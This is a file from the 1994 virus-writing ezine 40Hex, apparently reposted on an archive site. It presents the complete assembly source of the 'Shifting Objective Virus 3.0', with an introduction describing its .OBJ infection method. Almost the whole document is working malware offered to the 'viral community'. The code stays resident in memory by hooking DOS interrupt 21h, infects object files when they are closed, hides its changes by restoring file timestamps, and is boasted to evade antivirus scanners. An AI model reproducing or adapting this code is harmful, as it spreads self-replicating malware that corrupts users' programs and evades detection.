Copy Link
Add to Bookmark
Report
40Hex Issue 13 File 006
![eZine's profile picture](https://www.neperos.com/profile_images/710b67/eZine_pz94a41d548ccb10.jpg)
40Hex Number 13 Volume 4 Issue 1 File 006
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] º
;º º
;º Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! º
;º º
;º This virus breaks new bounds in viral technology, best I know }-) º
;ºIt infects .OBJ files that are set up to compile to simple, stand- º
;ºalone .COM's. The basic theory for this is the following: It takes º
;ºthe pre-set compiling points of the modules in the .OBJ and moves themº
;ºup in memory so Objective will have room to insert itself underneath. º
;ºWhen the file is compiled the virus is at the beginning of the file, º
;ºand the original code follows BUT - the original code's memory offsetsº
;ºare what they were BEFORE the virus infected the .OBJ. Therefore, allº
;ºObjective has to do when it runs is go memory resident, and shift the º
;ºhost code back down to where it starts at 100h in memory, and all is º
;ºwell. º
;º º
;º Object files are basically a set of linked lists or fields, each º
;ºwith a three byte header. The first byte is it's identity byte, whileº
;ºthe following word is the size of the field - header. The very last º
;ºbyte of each record is a simple checksum byte - this can be gained º
;ºsimply by adding up all of the bytes in the field save the three byte º
;ºheader and taking the negative (not reg/inc reg) so that the entire º
;ºfield value + checksum = 0. Each field type has it's own identity º
;ºvalue, but we are only concerned with a few right now. º
;º º
;ºThey are as follows: º
;º 80h - Starting field of a .OBJ file º
;º 8Ch - External definitions º
;º 8Ah - Ending field of a .OBJ file º
;º A0h - Regular Code º
;º A2h - Compressed code (patterns/reiterated stuff) º
;º º
;º In the A0h and A2h types of fields, there is one more thing that º
;ºconcerns us - the three bytes after the field size in the header º
;ºare indicators of the location in memory the code will be at - the º
;ºsecond and third byte form the word we will be concerned with, which º
;ºis a simple offset from CS:0000 that the code will begin. Since we º
;ºare dealing with .COM files and want to put our virus at the beginningº
;ºof the file, we set the position field of the virus to 100h and the º
;ºpositions of all the other A0h and A2h fields to their old position º
;ºplus the virus size. When the file is compiled, the virus will be º
;ºat the beginning and the host will follow. Attaching the virus to º
;ºthe .OBJ itself is simple enough - just save the 8Ah field in memory, º
;ºand write FROM IT'S OLD BEGINNING a header for your virus, your º
;ºvirus, then a checksum and the old 8Ah field. At all times when º
;ºmodifying fields, the checksums must be fixed afterwards. º
;º º
;º For the rest of the techniques that may be useful, I suggest you º
;ºlook at the following code for my Shifting Objective Virus. I'd like º
;ºto thank The Nightmare for his ideas on this when we sat around bored º
;ºthose days. Greets go out to all of Phalcon/Skism, Urnst Kouch, º
;ºMark Ludwig, TridenT, NuKE, and the rest of the viral community. º
;ºA special hello goes to Hermanni and Frisk. º
;º º
;º Ò Stormbringer [P/S] º
;º ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄ º
;º Ð º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
.model tiny
.radix 16
.code
org 100
start:
push ds
sub ax,ax
mov ds,ax
mov ax,word ptr ds:[84]
mov word ptr cs:[Fake21IP],ax
mov ax,word ptr ds:[86]
mov word ptr cs:[Fake21CS],ax
mov ax,word ptr ds:[2f*4]
mov word ptr cs:[Fake2fIP],ax
mov ax,word ptr ds:[2f*4+2]
mov word ptr cs:[Fake2fCS],ax
pop ds
CheckIfResident:
mov ax,0feadh ;Check if we are in memory
call fake21
cmp ax,0d00dh
jne ReserveMemory ;Nope, go resident
xor ax,ax
mov ds,ax
jmp RestoreFile ;Yep, skip it
ReserveMemory:
mov ax,ds
dec ax ;Go to MCB's
mov ds,ax
sub word ptr ds:[3],80 ;Grab 2K from this MCB
sub word ptr ds:[12],80 ;And from the Top of MEM in PSP
xor ax,ax
mov ds,ax ;We're gonna take up 2k in memory.
sub word ptr ds:[413],2 ;Reserve 2k from bios
int 12h ;Get bios memory amount in K
mov cl,6
shl ax,cl
PutVirusInMemory:
push cs
pop ds
sub ax,10 ;NewSeg:0 was in AX, now Newseg:100
mov es,ax ;is start of reserved memory field....
mov di,100
mov si,100
mov cx,end_prog-start
repnz movsb ;Copy virus into memory
HookInterrupts:
xor ax,ax
mov ds,ax ;Hook Int 21h directly using
cli ;Interrupt table
mov ax,offset Int21
xchg word ptr ds:[84],ax
mov word ptr es:[IP_21],ax
mov ax,es
xchg word ptr ds:[86],ax
mov word ptr es:[CS_21],ax
sti
RestoreFile:
push cs
pop es
mov ax,0deadh ;Call interrupt handler to restore file
pushf
call dword ptr ds:[84]
mov ax,4c01 ;Terminate if restore unsuccessful
call fake21
InstallCHeck:
mov ax,0d00dh ;Tell prog we're already here
iret
Int21:
cmp ax,0feadh
je InstallCheck ;Is it an install check?
cmp ax,0deadh
je RestoreHost ;Or a restoration request?
cmp ah,3e
jz fileclose ;Fileclose - go infect it if it's an .OBJ
GoInt21:
db 0ea ;Jump back into int 21h handler
IP_21 dw 0
CS_21 dw 0
RestoreHost:
push es
pop ds
mov di,sp ;Set iret to return to beginning of code
mov [di],100
mov di,100
mov si,offset Host ;Shift host back down over virus in memory
mov cx,0f000
repnz movsb
mov si,ax
xor ax,ax
mov bx,ax ;Set registers as if just executing
mov cx,ax
mov dx,ax
mov di,ax
iret ;Iret back into the host file
fileclose:
pushf
push ax bx cx dx es ds si di bp
xor ax,ax
xor ax,1220h
call fake2f
push bx
mov bl,byte ptr es:[di] ;Good ol' SFT trick
mov ax,1216h
call fake2f
or word ptr es:[di+2],2 ;Set file Read/Write
add di,28
pop bx
cmp byte ptr es:[di+2],'J' ;Check out filename
jne Done_Close
cmp word ptr es:[di],'BO'
jne Done_Close
mov word ptr cs:[Host_Handle],bx
mov ax,5700 ;Save date/time stamp
call fake21
push cx dx
call Infect_Obj ;go infect it
pop dx cx
mov ax,5701 ;Restore date/time stamp
call fake21
Done_Close:
pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h
popf
jmp GoInt21
Isanexec:
push dx
GetAndSaveCurLoc:
mov ax,4201 ;Save position of current module
xor cx,cx
xor dx,dx
call fake21
push dx ax
ModExecStartingPoint:
ReadOldStartingPoint:
mov ah,3f
mov dx,offset startingpt ;Read starting point
mov cx,3
call fake21
mov ax,word ptr [startingpt+1]
cmp byte ptr firstexec,0 ;Check if this is the first exec field
jne NotFirstExec
;If so, it should have a starting
;point of 100h for a .COM for us
;to infect it correctly
CheckifwillbeCOMfile: ;we're assuming that anything with
mov byte ptr firstexec,1 ;a starting point of cs:100h will be
;a com. while this isn't true all
;the time, we can cross our fingers..
cmp ax,100
je NotFirstExec ;File is good, continue infection.
Getouttahere:
pop ax ax ax ;won't be a .com file - don't infect.
ret
NotFirstExec: ;Either it isn't first exec or the
mov cx,end_prog-start ;check was good.. now add virus size
add ax,cx ;to exec starting point.
mov word ptr [startingpt+1],ax
GoBackToStartingPointinfo:
pop dx cx
push cx dx
mov ax,4200 ;go back to starting point field
call fake21
AndWriteIt:
mov ah,41
dec ah
mov cx,3
mov dx,offset startingpt ;and save it
call fake21
GoToChecksumField:
mov dx,fieldsize
sub dx,4
xor cx,cx ;go to checksum field
mov ax,4201
call fake21
ResetExecChecksum:
mov ah,3f
mov dx,offset Checksum ;read checksum field
mov cx,1
call fake21
mov cx,-1
mov dx,-1 ;go back to checksum field in file
mov ax,4201
call fake21
mov cx,(end_prog-start)
sub Checksum,ch ;modify checksum to account for
sub Checksum,cl ;our change to starting point field.
mov ah,41
mov dx,offset Checksum ;and write it
mov cx,1
dec ah
call fake21
DoneIsExec:
pop dx cx
mov ax,4200 ;Restore original file pointer
call fake21
pop dx
jmp NExtfield ;and continue with infection
startingpt db 0,0,0
firstexec db 0
anexec:
jmp isanexec
Bailout:
ret
Infect_Obj:
push cs cs
pop es ds
mov firstexec,0 ;Init first exec field
call go_bof ;Go to beginning of file
ModExecFields:
call ReadHeader ;read the three byte header, field size in DX
;Header type in AL
cmp al,8c ;External module
je bailout ;It has external calls, which we can't
;handle yet :(
cmp al,0a0 ;Executable module
je anexec
cmp al,0a2 ;Reiterated executable module
je anexec
cmp al,8a ;Ending module
je DoneModExecs
NextField:
mov ax,4201 ;Go to the next field
xor cx,cx
call fake21
jmp ModExecFields
DoneModExecs:
mov ax,4201
mov cx,-1
mov dx,-3 ;go to start of 8A field (end module)
call fake21
push dx ax
mov cx,fieldsize
add cx,3+10 ;the +10 is just to be safe
mov ah,3f ;load in last module
mov dx,offset buffer
call fake21
mov endfieldsize,ax ;Read in the end module
pop dx cx
mov ax,4200 ;Go back to the beginning of the module
call fake21 ;now that we have it in memory
WriteOurHeader:
mov ah,3f
mov cx,endheader-ourheader ;write the header for virus module
mov dx,offset ourheader
inc ah
call fake21
WriteVirus:
mov ah,3f
mov cx,end_prog-start ;write virus to file
mov dx,100
inc ah
call fake21
CreateChecksum:
mov si,100
mov cx,end_prog-start
xor ax,ax
AddupChecksum: ;Create checksum for virus
lodsb
add ah,al
loop AddupChecksum
not ah
inc ah
mov Checksum,ah
WriteChecksum:
mov dx,offset Checksum
mov cx,1
mov ah,3f
inc ah
call fake21 ;Then save the checksum in module
WriteEndModule:
mov dx,offset Buffer
mov cx,endfieldsize
mov ah,3f
inc ah
call fake21 ;And put the ending module back into
ret ;place.... we're done.
ReadHEader:
mov ah,3f
mov dx,offset fieldheader
mov cx,3 ;Read module header for .obj files
call fake21 ;save module type in AL and
mov al,fieldheader ;module size in DX
mov dx,fieldsize
ret
Go_Bof: ;Go to beginning of file
mov al,0
jmp short movefp
Go_Eof: ;Go to the end of the file
mov al,02
movefp: ;Or just move the File pointer
xor cx,cx
xor dx,dx
mov ah,42
call fake21
ret
fake21:
pushf
db 9a
fake21IP dw 0
fake21CS dw 0
ret
fake2f:
pushf
db 9a
fake2fIP dw 0
fake2fCS dw 0
ret
Credits:
db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
db 'Kudos go to The Nightmare!'
OurHeader:
db 0A0
dw (end_prog-start+4) ;our size in an .OBJ file
db 1
db 0 ;starting position (cs:100h)
db 1
endheader:
endfieldsize dw 0
Checksum db 0
fieldheader db 0
fieldsize dw 0
Host_Handle dw 0
end_prog:
Buffer:
Host db 90,90,90,90,90,90,90,90,0cdh,20
end start